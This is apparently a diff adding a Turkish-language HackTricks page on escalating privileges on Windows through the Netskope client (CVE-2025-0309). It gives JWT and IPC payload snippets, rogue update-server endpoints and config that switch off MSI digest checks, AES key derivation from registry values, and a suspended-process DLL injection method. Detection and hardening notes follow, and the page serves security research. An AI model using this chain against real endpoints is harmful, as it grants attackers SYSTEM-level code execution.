_multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümü kullanarak derlemeniz gerekir ([buna bakın](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Hedef makinada yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümünü kullanarak derlemeniz gerekir ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Kurulu .NET sürümünü hedef makinede görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..87dcb997c --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +Bu sayfa, düşük sürtünmeli bir IPC yüzeyi ve ayrıcalıklı bir update akışı açığa çıkaran kurumsal endpoint agentları ve updateler içinde bulunan Windows local privilege escalation zincirleri sınıfını genelleştirir. Temsilî bir örnek, düşük ayrıcalıklı bir kullanıcının enrollment'ı bir saldırgan kontrolündeki sunucuya zorlayabildiği ve ardından SYSTEM servisinin kurduğu kötü amaçlı bir MSI teslim edebildiği Netskope Client for Windows < R129 (CVE-2025-0309)′dır. + +Yeniden kullanabileceğiniz ana fikirler: +- Bir privileged servisinin localhost IPC'sini, re‑enrollment veya yeniden yapılandırmayı saldırgan sunucuya zorlamak için kötüye kullanın. +- Vendor’ın update endpointlerini implemente edin, rogue Trusted Root CA teslim edin ve updater'ı kötü amaçlı, “signed” pakete yönlendirin. +- Zayıf signer kontrollerinden (CN allow‑lists), opsiyonel digest flag'lerden ve gevşek MSI properties'den kaçının. +- IPC “encrypted” ise, registry'de saklanan world‑readable makine tanımlayıcılarından key/IV türetin. +- Servis çağıranları image path/process name ile sınırlandırıyorsa, allow‑listed bir process'e inject edin veya bir tane suspended olarak spawn edip DLL'inizi minimal bir thread‑context patch ile bootstrap edin. + +--- +## 1) Forcing enrollment to an attacker server via localhost IPC + +Birçok agent, SYSTEM servisine localhost TCP üzerinden JSON konuşan bir user‑mode UI process ile gelir. + +Netskope'de gözlemlendi: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Exploit flow: +1) Backend host'u (ör. AddonUrl) kontrol eden claim'lere sahip bir JWT enrollment token'ı craft edin. Alg olarak alg=None kullanın, böylece imza gerekmez. +2) JWT ve tenant adı ile provisioning komutunu çağıran IPC mesajını gönderin: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) Servis, enrollment/config için sahte sunucunuza istek göndermeye başlar, ör.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notlar: +- Eğer caller verification path/name‑based ise, isteği allow‑listed vendor binary'den başlatın (see §4). + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +İstemci sunucunuzla iletişim kurduktan sonra, beklenen endpoint'leri uygulayın ve onu saldırgan MSI'ye yönlendirin. Tipik sıra: + +1) /v2/config/org/clientconfig → Çok kısa bir güncelleme aralığı içeren JSON konfigürasyonu döndürün, örn.: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → Bir PEM CA sertifikası döndürür. Servis bunu Local Machine Trusted Root store into yükler. +3) /v2/checkupdate → Zararlı bir MSI'ya ve sahte bir sürüme işaret eden metadata sağlar. + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: servis sadece Subject CN'nin “netSkope Inc” veya “Netskope, Inc.” olup olmadığını kontrol ediyor olabilir. Sizin sahte CA'nız bu CN ile bir leaf verebilir ve MSI'yı imzalayabilir. +- CERT_DIGEST property: CERT_DIGEST adlı zararsız bir MSI özelliği ekleyin. Kurulum sırasında uygulanmıyor. +- Optional digest enforcement: config flag (ör. check_msi_digest=false) ekstra kriptografik doğrulamayı devre dışı bırakır. + +Sonuç: SYSTEM servisi MSI'nızı +C:\ProgramData\Netskope\stAgent\data\*.msi +konumundan kurar ve NT AUTHORITY\SYSTEM olarak rastgele kod çalıştırır. + +--- +## 3) Forging encrypted IPC requests (when present) + +R127'den itibaren, Netskope IPC JSON'u Base64 benzeri görünen encryptData alanına sarmıştı. Tersine mühendislik AES ve anahtar/IV'in herhangi bir kullanıcı tarafından okunabilen registry değerlerinden türetildiğini gösterdi: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Saldırganlar şifrelemeyi yeniden üretebilir ve standart bir kullanıcıdan geçerli şifreli komutlar gönderebilir. Genel ipucu: bir agent aniden IPC'sini “şifreliyorsa”, HKLM altında device ID'ler, product GUID'leri, install ID'ler gibi materyallere bakın. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Bazı servisler TCP bağlantısının PID'sini çözerek eş tarafı authenticate etmeye çalışır ve image path/name'i Program Files altında bulunan izinli vendor ikili dosyalarla (ör. stagentui.exe, bwansvc.exe, epdlp.exe) karşılaştırır. + +İki pratik bypass: +- izinli bir süreçe (ör. nsdiag.exe) DLL injection yapıp IPC'yi içinden proxy'leyin. +- izinli bir ikiliyi suspended olarak spawn edin ve CreateRemoteThread kullanmadan proxy DLL'inizi bootstrap ederek driver‑enforced tamper kurallarını sağlayın (bkz §5). + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Ürünler genelde protected süreçlere ait handle'lardan tehlikeli hakları temizlemek için bir minifilter/OB callbacks driver ile gelir (ör. Stadrv): +- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME haklarını kaldırır +- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE ile sınırlı tutar + +Bu kısıtlamalara saygı gösteren güvenilir bir user‑mode loader: +1) Vendor ikili dosyasını CREATE_SUSPENDED ile CreateProcess edin. +2) Hâlâ almanıza izin verilen handle'ları edinin: process için PROCESS_VM_WRITE | PROCESS_VM_OPERATION ve bir thread handle'ı için THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (veya bilinen bir RIP'te kodu patchliyorsanız sadece THREAD_RESUME). +3) ntdll!NtContinue (veya başka erken, garantiyle map edilmiş thunk) üzerine küçük bir stub yazın; bu stub DLL yolunuzda LoadLibraryW çağırıp sonra geri zıplasın. +4) ResumeThread ile stub'unuzun in‑process tetiklenmesini sağlayın ve DLL'inizi yükleyin. + +Zaten korunmuş bir süreç üzerinde PROCESS_CREATE_THREAD veya PROCESS_SUSPEND_RESUME kullanmadığınız için (süreci siz oluşturdunuz), driver politikası sağlanmış olur. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) sahte CA, zararlı MSI imzalama sürecini otomatikleştirir ve gerekli endpoint'leri sunar: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope, isteğe bağlı olarak AES‑şifreli olabilen rastgele IPC mesajları üreten ve izinli bir ikili üzerinden kökenlenmesi için suspended‑process injection içeren özel bir IPC client/exploit'tir. + +--- +## 7) Detection opportunities (blue team) +- Local Machine Trusted Root'a eklemeleri izleyin. Sysmon + registry‑mod eventing (bkz SpecterOps guidance) iyi çalışır. +- Ajan servisi tarafından C:\ProgramData\\\data\*.msi gibi yollarından başlatılan MSI çalıştırmalarını işaretleyin. +- Beklenmeyen enrollment host/tenant'lar için ajan loglarını inceleyin, örn: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant anomalilerine ve provisioning msg 148'e bakın. +- Beklenen imzalı ikililer olmayan veya sıra dışı child process tree'lerinden gelen localhost IPC client'ları için alarm oluşturun. + +--- +## Hardening tips for vendors +- Enrollment/update host'larını sıkı bir allow‑list'e bağlayın; client code içinde güvenilmeyen domainleri reddedin. +- IPC peer'lerini image path/name kontrolleri yerine OS primitifleriyle authenticate edin (ALPC security, named‑pipe SIDs). +- Gizli materyalleri world‑readable HKLM'de tutmayın; eğer IPC şifrelenmek zorundaysa anahtarları protected secret'lardan türetin veya authenticated kanallarda müzakere edin. +- Updater'ı bir supply‑chain yüzeyi olarak değerlendirin: kontrol ettiğiniz güvenilir bir CA'ya tam zincir gerektirin, paket imzalarını pinned key'lere karşı doğrulayın ve config'te doğrulama devre dışıysa kapatın (fail closed). + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}